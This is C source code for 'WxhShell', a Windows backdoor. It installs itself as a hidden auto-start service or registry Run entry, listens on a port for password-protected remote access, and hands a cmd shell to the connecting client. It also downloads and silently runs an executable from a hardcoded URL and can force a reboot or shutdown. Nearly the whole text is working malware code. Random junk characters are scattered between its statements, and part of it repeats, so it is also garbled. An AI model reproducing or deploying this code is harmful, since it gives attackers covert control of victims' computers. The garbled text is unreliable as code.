(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I@1VX5 ?9~|K/ `l if (!NtQueryInformationProcess) return 0; *N](Xtbj <[17&F0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ph3dm\U. if(!hProcess) return 0; +('=RyoT m'2EiYX$}\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q.fD3g wFJ*2W: CloseHandle(hProcess); Slp_o\s$@ ;v~xL!uQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vfh\X1Ui} if(hProcess==NULL) return 0; zB6&),[,v QQ99sy HMODULE hMod; \'B%lXh char procName[255]; F[X;A\ unsigned long cbNeeded; yq` ,) u}jC$T>2%6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |W SvAM3 TezwcFqH CloseHandle(hProcess); .zJZ*\2ob 2'?C if(strstr(procName,"services")) return 1; // 以服务启动 .Txwp?}; ka:wD?>1i return 0; // 注册表启动 >NA{* *$0 } )2bbG4:N %vU*4mH // 主模块 VS+5{w:t int StartWxhshell(LPSTR lpCmdLine) {InW%qSn_ { eGI&4JgJ. SOCKET wsl; ::Pf\Lb> BOOL val=TRUE; (=tu~ ^ int port=0; 9}11>X struct sockaddr_in door; deutY.7g DjiWg(X if(wscfg.ws_autoins) Install(); Bh6lK}9 <-!'V,c port=atoi(lpCmdLine); inyS 4tb sV`XJ9e| if(port<=0) port=wscfg.ws_port; :LD+B1$y V V Aw y6 WSADATA data; Jv D`RUh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w%kaM= 6`)Ss5jzk if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /gE9 W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Hst-H.l<l door.sin_family = AF_INET; =5M
'+> door.sin_addr.s_addr = inet_addr("127.0.0.1"); l4q7,%G door.sin_port = htons(port); CfHPJ:Qo[ oX[I4i%G if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d6"B_,*b closesocket(wsl); 9q"G g? return 1; Mm#=d?YUHJ } s9Bd mD^|# "'6R|<u=: if(listen(wsl,2) == INVALID_SOCKET) { 6
ZVD<C :\ closesocket(wsl); b'4r5@GO return 1; SrXuiiK } U,nQnD"!t& Wxhshell(wsl); uszMzO~ WSACleanup(); A>}]=Ii/ Py#iC#g~ return 0; x`p3I*_HT5 ]\:l>< } ,NQ>,}a0 u5dyhx7 // 以NT服务方式启动 O}"fhMk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +4Lj}8, { SlUt&+) DWORD status = 0; c#(&\g2H DWORD specificError = 0xfffffff; v:@ud,d< Jf8AKj3 serviceStatus.dwServiceType = SERVICE_WIN32; m{sch`bP serviceStatus.dwCurrentState = SERVICE_START_PENDING; j_~lc,+m serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zGE{Z A serviceStatus.dwWin32ExitCode = 0; &8 4Izs/[ serviceStatus.dwServiceSpecificExitCode = 0; ]lzOz<0q serviceStatus.dwCheckPoint = 0; n0kkUc-`
serviceStatus.dwWaitHint = 0; j~rarR@NB) eFCXjM hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *gXm&/2* if (hServiceStatusHandle==0) return; _k.gVm wenJ (0L| status = GetLastError(); Y{ 2xokJ N if (status!=NO_ERROR) 9<I;9.1S?^ { <x2 F5$@ serviceStatus.dwCurrentState = SERVICE_STOPPED; 98eS f serviceStatus.dwCheckPoint = 0; <0I=XsE1iX serviceStatus.dwWaitHint = 0; )d-{# serviceStatus.dwWin32ExitCode = status; E.~~.2
serviceStatus.dwServiceSpecificExitCode = specificError; UQ 'U
4q SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Ao E> return; S~DY1e54GF } >zAI#N4 EaGS}=qY5 serviceStatus.dwCurrentState = SERVICE_RUNNING; *d/]-JN,K serviceStatus.dwCheckPoint = 0; L #l|}u serviceStatus.dwWaitHint = 0; ;]^JUmxU[d if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >qI|g={M } %S<( z5 /1q] D8 // 处理NT服务事件,比如:启动、停止 cZ~\jpK VOID WINAPI NTServiceHandler(DWORD fdwControl) <=,KP) { 0Ti>PR5M switch(fdwControl) lCyp&b#(L { &c!=< <5M case SERVICE_CONTROL_STOP: [0G>=h@u serviceStatus.dwWin32ExitCode = 0; ?RD)a`y51 serviceStatus.dwCurrentState = SERVICE_STOPPED; D0&{iZ( serviceStatus.dwCheckPoint = 0; $wn"+wX serviceStatus.dwWaitHint = 0; lFY;O !Y5\ { wFaWLC|& SetServiceStatus(hServiceStatusHandle, &serviceStatus); n[/|M } BE}qwP^ return; 7M1*SC case SERVICE_CONTROL_PAUSE: 'm=9&?0S serviceStatus.dwCurrentState = SERVICE_PAUSED; |7I.DBjR; break; m H'jr$ ? case SERVICE_CONTROL_CONTINUE: ]eq3cwR[| serviceStatus.dwCurrentState = SERVICE_RUNNING; ca_8S8lv break; P
+ nT% case SERVICE_CONTROL_INTERROGATE: :L FwJ break; QE5
85s5
}; ";e0-t6: SetServiceStatus(hServiceStatusHandle, &serviceStatus); kc8T@5+I0 } <_H0Q_/( um&e.V)N // 标准应用程序主函数 ~4*9w3t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $hO8
S = { $/45* ?xX`_l // 获取操作系统版本 fK^FD&sF OsIsNt=GetOsVer(); zT~ GBC-IX GetModuleFileName(NULL,ExeFile,MAX_PATH); t Q_}o[ n@g[VR2t // 从命令行安装 {\ziy4<II if(strpbrk(lpCmdLine,"iI")) Install(); -ij1%#t z AJ:@c7:eS // 下载执行文件 NnSI=M if(wscfg.ws_downexe) { =W ! m` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > KH4X: WinExec(wscfg.ws_filenam,SW_HIDE); k=bv!T_o } !,\9,lc 6aQ{EO-]'= if(!OsIsNt) { r:Cad0xj;^ // 如果时win9x,隐藏进程并且设置为注册表启动 o<P%|>qX HideProc();
YQX>)' StartWxhshell(lpCmdLine); T:.J9 } hY'"^?OP else WM=kr$/3 if(StartFromService()) J(/
eR,ak // 以服务方式启动 [AX).b StartServiceCtrlDispatcher(DispatchTable); +S%@/q else ^#^u90I // 普通方式启动 l/rhA6kEU StartWxhshell(lpCmdLine); Cfz1\a&V{ YBS]JCO return 0; u{p\8v%7 } }>frK#S gi;V~>kh aeBth{ 'OX6eY5 =========================================== ;- ]f4O8 ,CM$A}7[ g\*gHHa Fx3VQ'%J V">Uh@[J_ Vj?.' ( " 5&9(d_#H >9u6@ #include <stdio.h> !&'xkw ` #include <string.h> p-(Z[G* #include <windows.h> m/ 6oQ #include <winsock2.h> .cZ&~ N #include <winsvc.h> h0^V!.-5 #include <urlmon.h> i*U\~CZjT +.lO8 #pragma comment (lib, "Ws2_32.lib") M $~h(3 #pragma comment (lib, "urlmon.lib") Aoo'i @$nI\n?* #define MAX_USER 100 // 最大客户端连接数 T:!sfhrZ~< #define BUF_SOCK 200 // sock buffer l5h9Eq #define KEY_BUFF 255 // 输入 buffer G0(c@FBK -dvDAs{X #define REBOOT 0 // 重启 9lD,aOb #define SHUTDOWN 1 // 关机 UxS;m4 2Qy!Aa #define DEF_PORT 5000 // 监听端口 D{l.WlA. vSnb>z1 #define REG_LEN 16 // 注册表键长度 H|TzD"2N #define SVC_LEN 80 // NT服务名长度 1I@4xC
#X y2qESAZ%k} // 从dll定义API Czci6Lz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q?^0
o\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5AjK7[<L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z956S$gS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <HzAh<_@F / P:Hfq // wxhshell配置信息 9e1 6 g struct WSCFG { "w'YZO]> int ws_port; // 监听端口 gOWyV@ char ws_passstr[REG_LEN]; // 口令 :>;psR int ws_autoins; // 安装标记, 1=yes 0=no KqSa"76R char ws_regname[REG_LEN]; // 注册表键名 3=<iGX"z char ws_svcname[REG_LEN]; // 服务名 nEp'l.T char ws_svcdisp[SVC_LEN]; // 服务显示名 hL3,/^;E , char ws_svcdesc[SVC_LEN]; // 服务描述信息 G^(&B30V char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c0qv11,:t int ws_downexe; // 下载执行标记, 1=yes 0=no K?;p: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U.)G#B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "aBd0i& kIfb! }; x@Y2jM *3ne(c // default Wxhshell configuration Xou#38&p> struct WSCFG wscfg={DEF_PORT, dq8 /^1P "xuhuanlingzhe", ZKR z=( 1, v\Wm[Ld "Wxhshell", g_>ZE "Wxhshell", 4y1>!~f "WxhShell Service", t@u\ 4bv "Wrsky Windows CmdShell Service", kdUGmR0d "Please Input Your Password: ", n>E*g|a 1, Ds
G
* "http://www.wrsky.com/wxhshell.exe", Fkz "Wxhshell.exe" r;XQ i }; )*A,L% Ij#a // 消息定义模块 )a^Yor)o" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N#u8{\ |8] char *msg_ws_prompt="\n\r? for help\n\r#>"; h3kHI?jMWG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZmULy;{<) char *msg_ws_ext="\n\rExit."; baNfS char *msg_ws_end="\n\rQuit."; bNROXiX char *msg_ws_boot="\n\rReboot..."; `oMeR]~ char *msg_ws_poff="\n\rShutdown..."; /,Rca1W char *msg_ws_down="\n\rSave to "; +hg\DqO^M Qsntf.fT char *msg_ws_err="\n\rErr!"; X?6h>%) k char *msg_ws_ok="\n\rOK!"; +2zuIW. O8r"M8 char ExeFile[MAX_PATH]; s3M84w z int nUser = 0; )zXyV]xe HANDLE handles[MAX_USER]; t%U[\\ic int OsIsNt; VWshFI e9W7ke E* SERVICE_STATUS serviceStatus; %]ayW$4 SERVICE_STATUS_HANDLE hServiceStatusHandle; d# 3tQ*G/ S/-7Zo&w+ // 函数声明 w`}9/s;$ int Install(void); p{a]pG+3 int Uninstall(void); , Ln
int DownloadFile(char *sURL, SOCKET wsh); tHtV[We.: int Boot(int flag); jAK{<7v4U void HideProc(void);
xD int GetOsVer(void); *yaX:,'\$ int Wxhshell(SOCKET wsl); ,Us2UEWNv void TalkWithClient(void *cs); (b%y$D int CmdShell(SOCKET sock); HJ qQlEq int StartFromService(void); ;a#*|vx int StartWxhshell(LPSTR lpCmdLine); *kQCW#y0 9*KMbd^T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Iv(Qa6( VOID WINAPI NTServiceHandler( DWORD fdwControl ); f9,EWuQNS cH;TnuX // 数据结构和表定义 n`)7Y`hBhP SERVICE_TABLE_ENTRY DispatchTable[] = `OP>(bU0 { lV<Tsk' {wscfg.ws_svcname, NTServiceMain}, #jZ@l3 {NULL, NULL} |:9Ir^ }; "W@XP+POAY -@L's{J{M // 自我安装 EF=dXm/\ int Install(void) *sw-eyn( { g(<T u^F char svExeFile[MAX_PATH]; 23-t$y] HKEY key; rQEi/ strcpy(svExeFile,ExeFile); 5!AV!A_Jp *J_iXu| // 如果是win9x系统,修改注册表设为自启动 voV:H[RD9 if(!OsIsNt) { d9Z&qdxTKq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &$c5~9p\B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '_qQrP# RegCloseKey(key); 1s`)yu^`v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 85D^@{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "#pzZ)Zh RegCloseKey(key); HK0::6n{ return 0; V5a?=vK9 } t<sNc8x } Ad;S=h8: } JoCA{Fa} else { :p<kQ4
{pDTy7!Hs // 如果是NT以上系统,安装为系统服务 *KK[(o}^J- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hOPe^e" if (schSCManager!=0) lc[XFc { M!gBmQZ1 SC_HANDLE schService = CreateService CV&zi6 ( u 1ZJHry schSCManager, S
Pn8\2Cj wscfg.ws_svcname, JI"/N`-?;b wscfg.ws_svcdisp, :N@U[Wx0A SERVICE_ALL_ACCESS, 6F`qi:a+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k6Ihc?HL SERVICE_AUTO_START, F7{R~mS; SERVICE_ERROR_NORMAL, (*,8KLV_i svExeFile, p9-0?(] NULL, 1E8H%2$ V NULL, !4R>O6k NULL, XFW5AP NULL, 3;*z3;#} NULL Ge~q3" ); nr OqH
if (schService!=0) ]gu1# { QDS0ejhp CloseServiceHandle(schService); ;XG]Q<S\ CloseServiceHandle(schSCManager); v f`9*x F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }Y Q:6I strcat(svExeFile,wscfg.ws_svcname); <uZPqi|| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *z0K%@M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &p5&=zV} RegCloseKey(key); kMy<G8 s return 0; ]pnYvXf>! } T2wv0sHlt } n)#Lh
7X" CloseServiceHandle(schSCManager); -kl;!:'.3 } R<_?W#$j } c45tmul R2w`Y5#` return 1; j 1(T )T } mDfwn7f !.EcP=S // 自我卸载 Ep mJWbU int Uninstall(void) c3] C:t+ { xO7Yt
l HKEY key; KAed!z9 9?
2 if(!OsIsNt) { D`Gt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P-'_}*wxi RegDeleteValue(key,wscfg.ws_regname); vX+.e1m RegCloseKey(key); S[mM4et| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^av6HFQ RegDeleteValue(key,wscfg.ws_regname); Vclr2]eV4O RegCloseKey(key); 0z`/Hn return 0; >,"sHm}l% } G2]^F Y } rjUBLY1( } R"+wih else { QU/fT_ORw 3]/.\(2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z(me@P!D~ if (schSCManager!=0) T%(C-Quh { Q[PK`*2) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZenPw1 - if (schService!=0) \9)#l#m { rbyY8
bX if(DeleteService(schService)!=0) { *N F$1 CloseServiceHandle(schService); g9KTn4 CloseServiceHandle(schSCManager); |]W2EV ,b return 0; Au.:OeJm } ~Ky4+\6o> CloseServiceHandle(schService); t> .
Fl- } 5mgHlsDzu CloseServiceHandle(schSCManager); >A}0Ho } :#u}.G } [2
zt ^ pu4,0bw return 1; JA^v } c%f_.MiU ``|AgIg // 从指定url下载文件 f:woP7FP int DownloadFile(char *sURL, SOCKET wsh) WeMAe
w/d { rzeLx Wt HRESULT hr; /ty?<24ko char seps[]= "/"; "A3dvr char *token; )TJS4? char *file; }Qr6l/2 char myURL[MAX_PATH]; x83a!9 char myFILE[MAX_PATH]; )oU)}asY W5pb;74| strcpy(myURL,sURL); 5`-UMz<] token=strtok(myURL,seps); PaO-J&< while(token!=NULL) qlsQ|/'D { O1P=#l iYX file=token; qOy=O
[+9 token=strtok(NULL,seps); L}%dCe } s B
20/F mdbp8,O GetCurrentDirectory(MAX_PATH,myFILE); +?m0Q;%b strcat(myFILE, "\\"); ]lBGyUJn strcat(myFILE, file); g(hOg~S\E send(wsh,myFILE,strlen(myFILE),0); a~]bD send(wsh,"...",3,0); 'g)n1 { hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U|@V
74 if(hr==S_OK) h7yqk4'Lq return 0; Ev9> @~^ else }-DE`c return 1; izZ=d5+K 06mlj6hV } h|;qG)f^ {i [y9 // 系统电源模块 OB-Q /?0 int Boot(int flag) zsXpA0~3s {
..W-76{ HANDLE hToken; s9)8b$t] TOKEN_PRIVILEGES tkp; LM)`CELsYc aM=D84@ if(OsIsNt) { ?GT@puJS- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @T-p2#& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `>lzlEhKV tkp.PrivilegeCount = 1; (Ddp|a"b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T*[
VY1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w:i:~f . if(flag==REBOOT) { )?aaBaN$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C$yq\C+I return 0; T7*wS#z)h } 1B=>_3_ else { ,*svtw:2') if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Ng=Yk>3 return 0; 8wZf]_ } PWr(*ZP>hI } =8{WZCW5 else { wBSQ:f]g if(flag==REBOOT) { [bz T&o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _BM4>r?\ return 0; f3MRD4+- } BJ}D%nm} else { P9Q~r<7n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !CTxVLl"F return 0; J([s5:.[ } ~B i_7 Q } XGrue6ya 23\RJpKb return 1; S>Yj@L } S$q=;" 'tgKe!-@ // win9x进程隐藏模块 hqvE!Of void HideProc(void) Guw}=l--YR { )cJ#-M2 }_'IE1bA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XOP"Px@ if ( hKernel != NULL ) / ~%KVe { .Pndx%X9s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jju#iwb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `fNpY#QsN FreeLibrary(hKernel); xw5d|20b } X2sH E n/d`qS return; ?%tMohL } 2B0W~x2= /phX'xp // 获取操作系统版本 -Apc$0ZsN int GetOsVer(void) 7cDU2l { {7hLsK[]) OSVERSIONINFO winfo; BaI $S>/Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ws U)Y& GetVersionEx(&winfo); +n0r0:z0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }|OaL*|u return 1; >SF Uy\3 else =ac_,]z return 0; tC?=E#3V } n:
ui N?Q+> // 客户端句柄模块 yF}OfK?0f int Wxhshell(SOCKET wsl) Fxs;Fp { ;ea]$9 SOCKET wsh; z;f2*F struct sockaddr_in client; 8`>h}Q$ DWORD myID; 5zJj]A ^FmU_Q0 while(nUser<MAX_USER) "Mw[P [w* { 7"F*u : int nSize=sizeof(client); #AkV/1Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h0--B]f@ if(wsh==INVALID_SOCKET) return 1; !l?.5Pm]) $4kH3+WJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8I20*# if(handles[nUser]==0) GG064zPq7 closesocket(wsh); wcSyw2D else Bs+(L [Z nUser++; h`
U?1xS } - O98pi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >2$5eI v,-{Z1N%m return 0; J?@DGp+t } O4\Z!R60g U@ ?LP // 关闭 socket ;h6v@)#GX void CloseIt(SOCKET wsh) _
nA p6i { k(>h^ closesocket(wsh); {e[%;W%c& nUser--; &X@Bs- ExitThread(0); sIG7S"k>p } Y?CCD4"qn b5$JfjI // 客户端请求句柄 [ylsz? void TalkWithClient(void *cs) S:4crI { WG*t::NN >^q7c8]~g SOCKET wsh=(SOCKET)cs; XZ&KR.C, char pwd[SVC_LEN]; +d+@u)6 char cmd[KEY_BUFF]; gTgMqvt char chr[1]; F>tQn4 int i,j; h5%<+D< (Fq5IGs while (nUser < MAX_USER) { @2pu^k^ C*U'~qRK if(wscfg.ws_passstr) { ;k"Bse!/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iLP7!j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tus}\0/i> //ZeroMemory(pwd,KEY_BUFF); |b-9b& i=0; `p;eIt while(i<SVC_LEN) { 0q>P~]Ow D']ZlB'K // 设置超时 bwVPtu` fd_set FdRead; yKYUsp struct timeval TimeOut; 5>3}_ FD_ZERO(&FdRead); d(vsE%/! FD_SET(wsh,&FdRead); EXP%Mk/ TimeOut.tv_sec=8; U4m9e|/H;z TimeOut.tv_usec=0; /{wJEuE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )1N 54FNO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ul%h@=n ZX ?yL>4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D3|oOOoG pwd=chr[0]; QM3,'?ekRH if(chr[0]==0xd || chr[0]==0xa) { #-pc}Y|< pwd=0; 7g
R@$(1Z break; 4&8Gr0C } P\8@g U!uk i++; FX9F"42@ } 6x"Q
aQI^^$9g // 如果是非法用户,关闭 socket 2*(Z==XC7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u@ jX+\ } ^TMJ8`e `:P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )jq?lw'& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5H=ko8fZ= ~/mwx8~ while(1) { qB)"qFa
e[sK@jX6 ZeroMemory(cmd,KEY_BUFF); Q{k
At% +?p.?I // 自动支持客户端 telnet标准 U4 13?Pe
j=0; u:aW 8 while(j<KEY_BUFF) { !LkWzn3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AuR$g7z cmd[j]=chr[0]; p>_;^&>& if(chr[0]==0xa || chr[0]==0xd) { RI68%ZoL cmd[j]=0; ]skkoM break; A
AHt218 } -P&6L\V j++; k}KC/d9.z } qlA7tU2p& {.yStB.T // 下载文件 Fg Lrb# if(strstr(cmd,"http://")) { ]7;\E\o send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6a;v&5 if(DownloadFile(cmd,wsh)) 4t)%<4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;?UvOI; else }K8/-d6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K}=|.sE9 } .S(,o. else { c1%H4j4/ " R8KQj switch(cmd[0]) { jE#O>3+. Yq(G;mjM // 帮助 rHP%0f9: case '?': { G;f/Tch send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F@R1:M9* break; #GJ
dZ } -{`@=U // 安装 p-+K4 case 'i': { p$ bnK] if(Install()) 9<Kj6t_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0euuT@_$ else )"+(butI& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !?^b[
nC% break; 2>*%q%81 } e[Abp~@M1 // 卸载 =TqQbadp case 'r': { yjJ5P`j] if(Uninstall()) /O]t R send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<b{Ji e else sl2@umR7%( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p">EHWc}D break; w1UA?+43 } >AJSqgHQ, // 显示 wxhshell 所在路径 S~]mWxgZ case 'p': { WW~+?g5 char svExeFile[MAX_PATH]; G|\^{5 strcpy(svExeFile,"\n\r"); ~^+0 strcat(svExeFile,ExeFile); W
d0NT@ send(wsh,svExeFile,strlen(svExeFile),0); \P1=5rP break; WoxwEi1~0 } 0j C3fT!n // 重启 M`6y@< case 'b': { h5yzwj:C? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :UJ a&$) if(Boot(REBOOT)) wCk~CkC? send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]z[v)} else { ]jpu,jz: closesocket(wsh); b~-%c_ ExitThread(0); <9>vO,n } ]:34kE}e5 break; kp\\"+,VC } T)\"Xj // 关机 9M"].~iNE case 'd': { W5#611 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I7^zU3]Ul if(Boot(SHUTDOWN)) (@WA1oNG send(wsh,msg_ws_err,strlen(msg_ws_err),0); NAPX_B,6 else { :6q]F<oK closesocket(wsh); .UoOO'1K ExitThread(0); ZIdA\_c } fb da break; Xv@SxS-5l } L4L2O7 // 获取shell ){r2T1+-% case 's': { qF iLh9=D CmdShell(wsh); \
u_ui closesocket(wsh); z#F.xVg' ExitThread(0); DS|KkTy3 break; S>.F_Jl } 2Hum!p:1 // 退出 -Z-IF#% case 'x': { ](F#`zUQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9_sA&2P{uV CloseIt(wsh); rxme(9M break; MQ)L:R`L } sdCvG R e // 离开 P=1I<Pew case 'q': { 5Zw1y@k( send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y
wkyq>Rv closesocket(wsh); M# 18H<] WSACleanup(); .@-$5Jw exit(1); qaim6a break; 21RP=0Q: } t*@z8<H } X0*QV- RN } nL:SG{7 Zf7&._y. // 提示信息 hp"L8w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^t7x84jhL } H'F6$ypoS } >%E([:$A m0{ !hF[^ return; ) _ I,KEe } #.[AK_S5& 8.bKb<y // shell模块句柄 m?HZ; int CmdShell(SOCKET sock) P,=+W(s9} { q.2(OP>( STARTUPINFO si; Ap{}^ ZeroMemory(&si,sizeof(si)); G|8%qd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .WQ<jZt> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,<DB&&EV8 PROCESS_INFORMATION ProcessInfo; CQ;]J=|<_ char cmdline[]="cmd"; A8A~!2V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oUQ07z\C return 0; @Mvd'.r<; } i
ZL2p> c"!lwm3b // 自身启动模式 09o~9z0 int StartFromService(void) }IEbyb { wB>r(xQ' typedef struct {A|TowBN { {K#NB_*To DWORD ExitStatus; H UoyLy DWORD PebBaseAddress; 6mH/ m& DWORD AffinityMask; VDB;%U*D DWORD BasePriority; v}^5Rp&m ULONG UniqueProcessId; .yENM[-bQ ULONG InheritedFromUniqueProcessId; S]sk7 } PROCESS_BASIC_INFORMATION; 5BR5X\f0 qC!&x,}3 PROCNTQSIP NtQueryInformationProcess; xyr+_k-x&q p1c3Q$>i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bN^O}[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '2zL.:~ \8OO)98' HANDLE hProcess; PN+G:Qv PROCESS_BASIC_INFORMATION pbi; &4dz}zz90 j<%])
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1p`+ if(NULL == hInst ) return 0; 0^'B3$> >*twTlb{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z<gu00U7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @&1Wyp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EPW7+Ve -G
&_^"=R if (!NtQueryInformationProcess) return 0; +5v}q.:+ 7:=5"ScV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nA>sHy if(!hProcess) return 0; ngulc v "%8A:^1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nD"~?*Lt 2}}?'PwwT CloseHandle(hProcess); Ja]oGT=e ?(KvQK|d4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0JRD if(hProcess==NULL) return 0; T)7TyE|"2g z1 i &Ge HMODULE hMod; (B>Zaro# char procName[255]; 0@1:M
